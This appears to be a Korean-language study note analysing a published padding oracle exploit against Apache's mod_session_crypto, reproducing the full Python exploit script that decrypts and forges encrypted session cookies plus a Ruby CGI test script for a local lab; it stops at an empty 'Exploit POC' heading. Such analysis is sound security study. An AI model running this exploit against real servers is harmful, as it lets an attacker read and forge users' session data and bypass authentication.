개요

  • Apache 의 Padding Oracle 취약점에 대해 분석해본다.
  • https://exploit-db.com/exploits/40961

목표

  • 취약한 Apache버전을 사용해서 웹 서버를 구동해서 실제로 취약점이 있는 부분을 확인해본다. (exploit 코드를 실행해본다.)
  • exploit 코드를 이해한다.

이해하기 위한 세부 목표

  1. python padding-oracle 라이브러리 사용방법을 알아야 한다.
  2. Apache 의 mod_session_crypto 모듈에 대해 알아야 한다.
  3. 취약한 환경을 구동할 수 있어야 한다. (취약한 Apache 버전, Apache 설정, 검증용 ruby 클라이언트 파일)

Exploit 분석

exploit 코드 (exploit.py)

  • python의 padding-oracle 라이브러리(https://pypi.org/project/padding-oracle/)를 사용하고 있다.
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
import requests

class PadBuster(PaddingOracle):
    def __init__(self, valid_cookie, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.wait = kwargs.get('wait', 2.0)
        self.valid_cookie = valid_cookie

    def oracle(self, data, **kwargs):
        v = b64encode(self.valid_cookie+data)

        response = requests.get('http://127.0.0.1:8080/cgi-bin/status.rb',
                cookies=dict(session=v), stream=False, timeout=5, verify=False)

        if 'username' in response.content:
            logging.debug('No padding exception raised on %r', v)
            return

        raise BadPaddingException

if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[2:]:
        print 'Usage: [encrypt|decrypt] <session value> <plaintext>'
        sys.exit(1)

    logging.basicConfig(level=logging.WARN)
    mode = sys.argv[1]
    session = b64decode(sys.argv[2])
    padbuster = PadBuster(session)

    if mode == "decrypt":
        cookie = padbuster.decrypt(session[32:], block_size=16, iv=session[16:32])
        print('Decrypted session:\n%r' % cookie)
    elif mode == "encrypt":
        key = session[0:16]
        plaintext = sys.argv[3]

        s = padbuster.encrypt(plaintext, block_size=16)

        data = b64encode(key+s[0:len(s)-16])
        print('Encrypted session:\n%s' % data)
    else:
        print "invalid mode"
        sys.exit(1)

클라이언트 코드 (status.rb)

#!/usr/bin/env ruby

require 'cgi'

cgi = CGI.new
data = CGI.parse(ENV['HTTP_SESSION'])

if data.has_key? 'username'
        puts
        puts "your username is %s" % data['username']
        exit
end

puts "X-Replace-Session: username=guest&timestamp=" + Time.now.strftime("%s")
puts
puts "not logged in"

Exploit POC